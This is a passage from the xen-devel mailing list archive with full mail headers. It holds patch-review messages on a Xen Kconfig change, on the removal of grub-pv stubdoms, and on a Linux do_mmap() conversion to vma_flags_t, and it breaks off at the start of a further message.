 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <39f6e7414696acad4a1257afaf067a832b165cc4.1783331040.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783417940-D12D81E0-106FC8DF/0/0
X-purgate-type: clean
X-purgate-size: 788

On 06.07.2026 17:57, Oleksii Kurochko wrote:
> --- a/xen/arch/arm/Kconfig
> +++ b/xen/arch/arm/Kconfig
> @@ -22,6 +22,7 @@ config ARM
>  	select HAS_GRANT_CACHE_FLUSH if GRANT_TABLE
>  	select HAS_SHARED_INFO
>  	select HAS_STACK_PROTECTOR
> +	select HAS_STATIC_MEMORY
>  	select HAS_UBSAN

Both here and ...

> --- a/xen/common/Kconfig
> +++ b/xen/common/Kconfig
> @@ -161,6 +161,9 @@ config HAS_SCHED_GRANULARITY
>  config HAS_SHARED_INFO
>  	bool
>  
> +config HAS_STATIC_MEMORY
> +	bool
> +

... here it is clearly visible from context that this patch is assumed
to go on top of "xen: introduce CONFIG_HAS_SHARED_INFO for archs without
a shared page", yet that's not said anywhere. Perhaps that other patch
would better have been part of this series?

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 09:56:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 09:56:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356150.1610811 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh2Xp-0000Sb-T9; Tue, 07 Jul 2026 09:56:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356150.1610811; Tue, 07 Jul 2026 09:56:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh2Xp-0000SU-QG; Tue, 07 Jul 2026 09:56:49 +0000
Received: by outflank-mailman (input) for mailman id 1356150;
 Tue, 07 Jul 2026 09:56:48 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh2Xo-0000SO-D3
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 09:56:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh2Xn-006ozN-D4
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 11:56:47 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ccd5f-bab6-0a2a0a5309dd-0a2a4502a5f0-0
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 11:56:47 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ccd5f-5a27-0a2a45020019-d1558030d8dd-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 11:56:47 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-493b786d6c0so21363185e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 02:56:47 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0ec6e64sm73332605e9.0.2026.07.07.02.56.46
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 02:56:46 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783418207; x=1784023007; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=OVGRKbjKvyB6WbymRKlxadAa+3cdAcOeZwhKYDz53Rk=;
        b=JQ6h5cDaWjiAxAs2dn2cIW+QC7dGLBkP6tD2LFes5k0rqft/MknVvpXbPzWmuzhWbN
         hFnMOZ622YZazzHX3oLTwIg9AZ/blCU7YIwRDQVUl8rGraOB9Bjfyo1bbOuJkcBS4u2c
         zGvGe4ZA5XGUKya0QZ7czjXDKFZS+FvJu39b/YucD1LyX+4ZJ444/b2ray4ruP0+1bnO
         AEhaK8HX9THZi2TFOZiF324CzdPj8E91Zxl+1qWoQq4h2B3N6gzGhmnMaaN/v9phCs/R
         8XuqcNfQbyWGP3Y3cJWJYL0/KaEQASR7ees13XPQJIZHoMqPS1K/xA+bvVBoq7sNngcB
         tYRw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783418207; x=1784023007;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=OVGRKbjKvyB6WbymRKlxadAa+3cdAcOeZwhKYDz53Rk=;
        b=SkAZVd+nPX+DUXOvKSz05OnJ49JocjTol/QyCCDKQt2jIhxf7HHrYxB+QTKly9gR+1
         asPBzy+SD4uK8dC+9cML8BlQuEsSQ7smOAuLxcYiJwsitJTKFRv/dWpyZ0MqjNrvexyI
         LFrCDXRTp2WVsSWnYjhFFH/Qh+cEO4RI1tX+TpMpELMdmHBB8T+7xdgmGmN9OZ5VGnSV
         5YhGJ5WQ5WMziv+A8vwyVbWmB9MJoR9SPwgqBUKNoU1YM683EUqpkc9MCLPkFeaE03DN
         tl7yH1wvUgOxVcSd4UQEmIobp3lgeIn9rvPpW2SWYJy0578kBzpEByoD6nm1hcxgShMR
         EdAQ==
X-Forwarded-Encrypted: i=1; AHgh+RqtRdtuE56umyx61urb6A4nIxltIRcq6jB1Ny6iL1NYmXLCIXjMmlKzh2TveRMgmRdwejYSJdedP+Q=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwNzPrBN6CkZqAIA3v6dtOQicD/TzKj/T8uy5eZi0Gg8WOH9Sr6
	+oeDvv2KGfhbVXT+tiVvJIsfDRO5tc47H/tbmqeJJpmRIIIhzX2UNSU1X50pFw9aFA==
X-Gm-Gg: AfdE7cl7bsNNOcgBu9zAqGKWs+1KDk0h7yoRrJ2LG9sciQrnK1apDPduRsFBkWekjE8
	Sa8fil2aFiYYrbRC83WnwnaB/F2onI8YDKPu42KU0hVHMJj3vt1bhgD8mwo+EvNop+rusN8ESXY
	U2lq162IE0NdTdGktKL7cUzc9nJkuKCaylwTL4TUIO8RRcNZu3qZHp0dI5uuDcu45VYec8/A+P4
	zyz/aQsieWcSJVF4aDYZ1GmZnWEY1kZ+0taO6LcUMeFdrRmC0b48lOhj9VSPGqPH7Ic52rqYBpY
	kR+jL7lVCISe6bKvaBparTyMYT52x4hJ5YSCYXxg1Gnqpe53cirEJvWFxEnCHvS6anI1R0fjTF2
	NoQvfwIvxcfCBLIPv9sh+sdgb/bAgRCqCn93wIUSTS1PHDuEqvAtLhT5b0Sf1S0LiD5BIHFziqj
	C0Dvmu4hCxROREohWRYIfvv2Ld6TBhTapkpBYVxwLGll6esHjn9I3hjBBOfMz062hMuxLM4BVHJ
	wGF
X-Received: by 2002:a05:600c:82c3:b0:493:a976:5c6e with SMTP id 5b1f17b1804b1-493df1c958emr42509605e9.16.1783418206804;
        Tue, 07 Jul 2026 02:56:46 -0700 (PDT)
Message-ID: <0e09a987-e701-4ee1-9125-8a9f7cbf72de@suse.com>
Date: Tue, 7 Jul 2026 11:56:45 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/5] stubdom: remove grub-pv
To: Juergen Gross <jgross@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>,
 xen-devel@lists.xenproject.org
References: <20260707083459.226297-1-jgross@suse.com>
 <eac4528a-f9b3-476e-adea-63d317ef30fe@suse.com>
 <5edc7c12-8563-4369-bb9a-2f614b74eb31@suse.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJOb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kjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <5edc7c12-8563-4369-bb9a-2f614b74eb31@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1783418207-4E5147C5-B6FA9139/0/0
X-purgate-type: clean
X-purgate-size: 1231

On 07.07.2026 10:44, Juergen Gross wrote:
> On 07.07.26 10:39, Jan Beulich wrote:
>> On 07.07.2026 10:34, Juergen Gross wrote:
>>> The grub-pv stubdoms (32- and 64-bit) are disabled by default since
>>> several years now.
>>>
>>> Remove them in order to enable removing quite some more code from Xen.
>>> In case someone is really depending on grub-pv, they can easily take it
>>> from an older Xen build, as there is no Xen version dependency in
>>> grub-pv (a version built 3 years ago has been tested to still work
>>> with current 4.23 staging Xen).
>>
>> What guarantees this to remain this way, when ...
>>
>>> Juergen Gross (5):
>>>    stubdom: remove support for grub-pv
>>>    stubdom: remove support for building in 32-bit mode
>>>    stubdom: remove building of libxenguest and libxenctrl
>>
>> ... there was this dependency on (unstable) libraries?
> 
> Only stable hypercalls are being used. Otherwise the domctl version
> check would fail, right?

Of course, but the libraries offer more than just wrappers around domctl.
Yet then ...

> I did a review of the stubdom specific grub code and didn't spot any
> use of an unstable hypercall, BTW.

... this is of course reassuring.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 10:15:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 10:15:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356164.1610821 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh2pw-0003aG-Ae; Tue, 07 Jul 2026 10:15:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356164.1610821; Tue, 07 Jul 2026 10:15:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh2pw-0003a9-85; Tue, 07 Jul 2026 10:15:32 +0000
Received: by outflank-mailman (input) for mailman id 1356164;
 Tue, 07 Jul 2026 10:15:30 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wh2pu-0003a3-Kd
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:15:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh2pu-00CtVo-1N
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 12:15:30 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4cd1bf-bab6-0a2a0a5309dd-0a2a4507c924-2
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 12:15:29 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4cd1c0-9c8e-0a2a45070019-aceafc1fbc1c-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 12:15:29 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 64240424AD;
 Tue,  7 Jul 2026 10:15:27 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id DDAC81F00A3D;
 Tue,  7 Jul 2026 10:15:10 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783419327;
	bh=mNSla9Czr4vFeuTIzrP/cHDzh+yx/IrTUvaJ5OnP34U=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=HluYhwOWRqwjbw9mnNEjPVnyh7tR+UBSnSv/otgjpUQBigWOwZUJOYkpU0LnGQPOd
	 9JWuafQR68ncbIWqn0jW8jTfwPafpmeDnt2Wvr8VLfjDqTgkyFdLwQrzBX5aGYlPBy
	 bdDr9uov5pNq61DLoYMBBHIrYLPaluS9cGGvVLuwrNNgpnc0PxTOy1Y4Jv6WgqJLPU
	 g8L2HsabDqHedwwaZisYTmwsI8Liu2LIO7hoQNV8VhXPReqA934JiUn5O3mwQK8rxr
	 zZFBy1M3lH7Q7XggDkvTulkUo1eG7DFZ7mTqdd75PKoMBF8VkjG7TCZVSFf+WpnFzU
	 vO+QqUik5Cd9A==
Date: Tue, 7 Jul 2026 11:15:02 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Zi Yan <ziy@nvidia.com>
Cc: Andrew Morton <akpm@linux-foundation.org>, 
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>, Madhavan Srinivasan <maddy@linux.ibm.com>, 
	Michael Ellerman <mpe@ellerman.id.au>, Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
	Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
	David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
	Lucas Stach <l.stach@pengutronix.de>, Inki Dae <inki.dae@samsung.com>, 
	Seung-Woo Kim <sw0312.kim@samsung.com>, Kyungmin Park <kyungmin.park@samsung.com>, 
	Krzysztof Kozlowski <krzk@kernel.org>, Peter Griffin <peter.griffin@linaro.org>, 
	Jani Nikula <jani.nikula@linux.intel.com>, Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
	Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin <tursulin@ursulin.net>, 
	Rob Clark <robin.clark@oss.qualcomm.com>, Dmitry Baryshkov <lumag@kernel.org>, 
	Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
	Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, Sandy Huang <hjc@rock-chips.com>, 
	Heiko =?utf-8?Q?St=C3=BCbner?= <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>, 
	Thierry Reding <thierry.reding@kernel.org>, Mikko Perttunen <mperttunen@nvidia.com>, 
	Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
	Dmitry Osipenko <dmitry.osipenko@collabora.com>, Zack Rusin <zack.rusin@broadcom.com>, 
	Matthew Brost <matthew.brost@intel.com>, Thomas Hellstrom <thomas.hellstrom@linux.intel.com>, 
	Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, Helge Deller <deller@gmx.de>, Benjamin LaHaise <bcrl@kvack.org>, 
	Alexander Viro <viro@zeniv.linux.org.uk>, Christian Brauner <brauner@kernel.org>, 
	Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>, 
	David Hildenbrand <david@kernel.org>, Baolin Wang <baolin.wang@linux.alibaba.com>, 
	"Liam R . Howlett" <liam@infradead.org>, Nico Pache <npache@redhat.com>, 
	Ryan Roberts <ryan.roberts@arm.com>, Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
	Lance Yang <lance.yang@linux.dev>, Hugh Dickins <hughd@google.com>, 
	Vlastimil Babka <vbabka@kernel.org>, Mike Rapoport <rppt@kernel.org>, 
	Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>, Jann Horn <jannh@google.com>, 
	Pedro Falcato <pfalcato@suse.de>, Kees Cook <kees@kernel.org>, Jaroslav Kysela <perex@perex.cz>, 
	Takashi Iwai <tiwai@suse.com>, linux-mips@vger.kernel.org, linux-kernel@vger.kernel.org, 
	linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org, 
	linux-arm-kernel@lists.infradead.org, linux-samsung-soc@vger.kernel.org, 
	intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
	nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, 
	virtualization@lists.linux.dev, intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
	linux-fbdev@vger.kernel.org, linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
	linux-mm@kvack.org, linux-sound@vger.kernel.org
Subject: Re: [PATCH 02/13] mm/vma: update do_mmap() to use vma_flags_t
Message-ID: <akzRdIS8ZotxIOFR@lucifer>
References: <cover.1782760670.git.ljs@kernel.org>
 <e0ac58ad2b88ff7e2f0024e3286b2e786f79ca32.1782760670.git.ljs@kernel.org>
 <DJRZ2QCEIVA6.1AZF5S891NKS4@nvidia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <DJRZ2QCEIVA6.1AZF5S891NKS4@nvidia.com>
X-purgate-ID: tlsNG-ef75cf/1783419329-7D32F25E-2B07BD59/0/0
X-purgate-type: clean
X-purgate-size: 4300

On Mon, Jul 06, 2026 at 10:10:32PM -0400, Zi Yan wrote:
> On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> > The core do_mmap() function accepts a vm_flags_t parameter which it then
> > manipulates before passing to mmap_region() to do the heavy lifting of the
> > memory mapping.
> >
> > Update do_mmap() to instead accept a vma_flags_t parameter, and adjust all
> > the logic within do_mmap() to manipulate this instead.
> >
> > This is as part of the ongoing effort to convert VMA flags from a system
> > word size to a bitmap type which allows us to unrestrict the number of VMA
> > flags, as well as gain control over how VMA flag manipulation occurs.
> >
> > We do not cascade these changes to all functions which accept vm_flags_t,
> > but rather use vma_flags_to_legacy() where necessary, specifically
> > deferring converting calc_vm_prot_bits(), calc_vm_flag_bits() and
> > __get_unmapped_area() to vma_flags_t.
> >
> > Also utilise the new vma_flags_can_grow() predicate which correctly handles
> > the case of architectures without upward growing stacks.
> >
> > As part of this change, introduce VMA_SHADOW_STACK so we can correctly
> > handle the case of the shadow stack not being defined.
> >
> > No functional change intended.
> >
> > Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> > ---
> >  arch/mips/kernel/vdso.c |  4 +--
> >  fs/aio.c                |  2 +-
> >  include/linux/memfd.h   |  6 ++--
> >  include/linux/mm.h      |  6 ++--
> >  ipc/shm.c               |  3 +-
> >  mm/memfd.c              | 15 ++++-----
> >  mm/mmap.c               | 67 ++++++++++++++++++++++++-----------------
> >  mm/nommu.c              |  3 +-
> >  mm/util.c               | 10 +++---
> >  mm/vma.c                |  7 ++---
> >  mm/vma.h                |  2 +-
> >  11 files changed, 69 insertions(+), 56 deletions(-)
> >
>
> <snip>
>
> >
> > -static int check_write_seal(vm_flags_t *vm_flags_ptr)
> > +static int check_write_seal(vma_flags_t *vma_flags_ptr)
> >  {
> > -	vm_flags_t vm_flags = *vm_flags_ptr;
> > -	vm_flags_t mask = vm_flags & (VM_SHARED | VM_WRITE);
> > -
> >  	/* If a private mapping then writability is irrelevant. */
> > -	if (!(mask & VM_SHARED))
> > +	if (!vma_flags_test(vma_flags_ptr, VMA_SHARED_BIT))
> >  		return 0;
> >
> >  	/*
> >  	 * New PROT_WRITE and MAP_SHARED mmaps are not allowed when
> >  	 * write seals are active.
> >  	 */
> > -	if (mask & VM_WRITE)
> > +	if (vma_flags_test(vma_flags_ptr, VMA_WRITE_BIT))
> >  		return -EPERM;
> >
> >  	/*
> >  	 * This is a read-only mapping, disallow mprotect() from making a
> >  	 * write-sealed mapping writable in future.
> >  	 */
> > -	*vm_flags_ptr &= ~VM_MAYWRITE;
> > +	vma_flags_clear(vma_flags_ptr, VMA_MAYWRITE_BIT);
> >
> >  	return 0;
> >  }
>
> This function alone changed its original behavior, since vm_flags is a
> snapshot of *vm_flags_ptr, but after the change this snapshot is gone.
> But its only caller memfd_check_seals_mmap() gets vm_flags_ptr from the
> input parameter of do_mmap(), so the overall behavior does not change.

Right yeah, the snapshot was always just a convenience thing :)

>
> <snip>
>
> > +		case MAP_DROPPABLE: {
> > +			vma_flags_t droppable = VMA_DROPPABLE;
> > +
> > +			if (vma_flags_empty(&droppable))
> >  				return -EOPNOTSUPP;
> > +			vma_flags_set_mask(&vma_flags, droppable);
> > +
> >  			/*
> >  			 * A locked or stack area makes no sense to be droppable.
> >  			 *
> > @@ -515,23 +527,24 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
> >  			 */
> >  			if (flags & (MAP_LOCKED | MAP_HUGETLB))
> >  			        return -EINVAL;
> > -			if (vm_flags & (VM_GROWSDOWN | VM_GROWSUP))
> > +			if (vma_flags_can_grow(&vma_flags))
> >  			        return -EINVAL;
> >
> > -			vm_flags |= VM_DROPPABLE;
> > -
>
> Lance pointed out the reordering of setting VMA_DROPPABLE and checking
> of can_grow, but these flags are not overlapped and there is no parallel
> writer to vma_flags. So it is still no functional change, just not
> mechanical changes. :)

Right yes exactly :)

>
> Otherwise, LGTM.
>
> Reviewed-by: Zi Yan <ziy@nvidia.com>

Thanks!

>
> --
> Best Regards,
> Yan, Zi
>

Cheers, Lorenzo


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 10:17:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 10:17:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356170.1610829 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh2rm-000444-LG; Tue, 07 Jul 2026 10:17:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356170.1610829; Tue, 07 Jul 2026 10:17:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh2rm-00043x-If; Tue, 07 Jul 2026 10:17:26 +0000
Received: by outflank-mailman (input) for mailman id 1356170;
 Tue, 07 Jul 2026 10:17:24 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wh2rk-00043r-Qt
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:17:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh2rj-006ttr-T9
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 12:17:23 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4cd225-e002-0a2a0a5209dd-0a2a450ae358-20
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 12:17:23 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4cd232-e40e-0a2a450a0019-aceafc1f8f0c-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 12:17:23 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 86145419A0;
 Tue,  7 Jul 2026 10:17:21 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 122461F000E9;
 Tue,  7 Jul 2026 10:17:04 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783419441;
	bh=mnyEnVNjUbkl63yjftBd6ZAUslZHuhLMLE5i1q1dbiA=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=cGH+4V3qnWn/h2ntR4JOMP1MeFASTJyb/ukIFIKga6vmMPs4hWnZeyozgnP8o9zcj
	 4aOepXlE5yG0XgvATIbejO38So9984JOSQXxfemV7MrbXTQdbQqJryZ7by0rmLtk6g
	 KbyecrBlOO6RxZhZHoEJHQvN3lfQ+IRVIfllVkFrcFe5jzAzy0lAaGw02N38CG8Xem
	 bIuNc24pIIBeQZLitf75XKOixE/v2BoAd9XaTV+y7NflJFaBKiVOSfh8s3qL1kjbV3
	 QtnOkHzUZcffKxdXoostqrwbOmOdDgDEYFoMQefdIk5SYi6OuZQQ8BSF6bkbad2igD
	 ZZ2I4X8hc6i0g==
Date: Tue, 7 Jul 2026 11:16:56 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Zi Yan <ziy@nvidia.com>
Cc: Andrew Morton <akpm@linux-foundation.org>, 
